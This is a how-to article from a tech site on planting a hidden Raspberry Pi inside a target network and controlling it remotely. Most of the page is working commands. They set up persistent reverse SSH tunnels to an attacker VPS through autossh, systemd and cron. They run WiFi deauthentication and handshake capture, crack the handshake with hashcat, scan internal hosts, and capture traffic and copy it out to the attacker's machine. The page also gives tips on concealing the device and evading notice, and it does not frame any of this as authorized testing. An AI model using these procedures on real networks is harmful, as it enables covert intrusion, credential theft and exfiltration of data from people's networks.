Techzone/The Pi Project - Raspberry Pi Remote WiFi Hacking

The Pi Project - Raspberry Pi Remote WiFi Hacking

4 min readArticle

The concept: plant a Raspberry Pi inside a target network (connected to an ethernet port or via WiFi), then control it remotely over the internet. The Pi gives you persistent inside access — you can run WiFi attacks from within the network, pivot to internal systems, capture traffic, and perform recon all without being physically present.

The Concept

shell 
[Your Machine] ←→ [Internet/VPS] ←→ [Pi on Target Network]
                                            |
                                     [Target WiFi/Network]

The Pi establishes an outbound connection (reverse tunnel) so it reaches YOU — this bypasses firewall rules that would block inbound connections to the Pi.

Hardware Needed

  • Raspberry Pi Zero 2 W (small, cheap, WiFi built-in) — ~$15
  • Or Pi 4 for more capability — ~$55
  • USB WiFi adapter (Alfa AWUS036ACS) — for monitor mode / hacking
  • Small USB power bank (or power from ethernet injector)
  • Case (optional but looks less suspicious)

Phase 1: Prepare the Pi

Flash Kali Linux for Raspberry Pi

bash 
# Download Kali for Pi from kali.org/get-kali
# Flash with Raspberry Pi Imager or dd
sudo dd if=kali-linux-2024.1-raspberry-pi.img of=/dev/sdX bs=4M status=progress

# Enable SSH before first boot
touch /boot/ssh

# Configure WiFi for initial setup
cat > /boot/wpa_supplicant.conf << 'EOF'
country=US
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
update_config=1
network={
    ssid="HomeNetwork"
    psk="HomePassword"
}
EOF

Initial Setup

bash 
# SSH in on local network
ssh [email protected]  # default: kali/kali
# OR
ssh [email protected]  # default: pi/raspberry

# Change password immediately
passwd

# Update
sudo apt update && sudo apt upgrade -y

# Install tools
sudo apt install -y aircrack-ng reaver bully hcxdumptool hcxtools \
  autossh netcat-openbsd nmap hostapd dnsmasq tmux

Phase 2: Establish Remote Access

Option A: Reverse SSH Tunnel (Simple, Reliable)

You need a VPS (DigitalOcean, Linode, etc.) with a public IP.

bash 
# On your VPS: create a dedicated user for tunnels
sudo adduser pihole
sudo su - pihole

# On the Pi: create SSH key pair
ssh-keygen -t ed25519 -C "pi-drop-box"
# Copy public key to VPS:
ssh-copy-id pihole@your-vps-ip

# Test tunnel from Pi
ssh -N -R 2222:localhost:22 pihole@your-vps-ip -o ServerAliveInterval=30

# From anywhere: SSH to VPS, then jump to Pi
ssh your-vps-ip
ssh localhost -p 2222    # Now you're on the Pi

Option B: AutoSSH (Persistent, Auto-reconnect)

bash 
# Install autossh
sudo apt install autossh

# Create systemd service on Pi
sudo nano /etc/systemd/system/tunnel.service
ini 
[Unit]
Description=AutoSSH Reverse Tunnel
After=network-online.target
Wants=network-online.target

[Service]
User=kali
Environment="AUTOSSH_GATETIME=0"
ExecStart=/usr/bin/autossh -M 0 -N \
  -R 2222:localhost:22 \
  pihole@your-vps-ip \
  -o ServerAliveInterval=30 \
  -o ServerAliveCountMax=3 \
  -o ExitOnForwardFailure=yes \
  -o StrictHostKeyChecking=no \
  -i /home/kali/.ssh/id_ed25519
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target
bash 
sudo systemctl enable tunnel
sudo systemctl start tunnel

Option C: Ngrok / Cloudflare Tunnel (No VPS Needed)

bash 
# Ngrok (easiest, limited on free tier)
sudo apt install ngrok
ngrok tcp 22
# Gives you: tcp://0.tcp.ngrok.io:XXXXX → your Pi SSH

# Or Cloudflare Tunnel (cloudflared)
wget -q https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm64
chmod +x cloudflared-linux-arm64
./cloudflared-linux-arm64 tunnel --url ssh://localhost:22

Phase 3: WiFi Attacks from the Pi

Once connected remotely, run attacks from inside the target's network:

bash 
# Check available interfaces
iwconfig
# wlan0 = built-in Pi WiFi (keep connected for remote access)
# wlan1 = USB Alfa adapter (use this for attacks)

# Enable monitor mode on Alfa
sudo airmon-ng start wlan1

# Scan for networks
sudo airodump-ng wlan1mon

# Capture handshake (targeting network you're inside)
sudo airodump-ng -c 6 --bssid TARGET_BSSID -w /tmp/capture wlan1mon &
sudo aireplay-ng -0 10 -a TARGET_BSSID wlan1mon

# Send capture file back to cracking machine
scp /tmp/capture-01.cap user@cracking-machine:/tmp/
# Crack on GPU machine
hashcat -m 22000 capture.hc22000 rockyou.txt

Phase 4: Internal Network Recon

Once inside via the tunnel:

bash 
# ARP scan the network
sudo arp-scan -l -I eth0

# Port scan internal hosts
nmap -sV 192.168.1.0/24

# Look for interesting services
nmap -sS -p 22,80,443,445,3389 192.168.1.0/24

# Capture network traffic
sudo tcpdump -i eth0 -w /tmp/capture.pcap
# Transfer for analysis
scp /tmp/capture.pcap user@yourip:/tmp/

Covert Operation Tips

  • Use a small form-factor Pi (Zero W) that's easy to hide
  • Black case looks like an innocuous power adapter
  • Connect to ethernet (more stable than relying on target WiFi)
  • Use tmux so sessions survive disconnects
  • Set low resource usage — don't draw attention via unusual network traffic
  • Schedule intensive scans during off-hours

Remote Persistence (Crontab Backup)

If the systemd service fails, have a cron job as fallback:

bash 
crontab -e
# Add:
*/5 * * * * /usr/bin/ssh -fN -R 2222:localhost:22 pihole@vps-ip -o StrictHostKeyChecking=no 2>/dev/null

See Also

  • netcat-guide — Alternative for quick reverse shells
  • ../index — Remote WiFi hacking overview
  • ../../../../operating-systems/raspberry-pi — Raspberry Pi setup
techzonesite.comUnlock Your IT Potential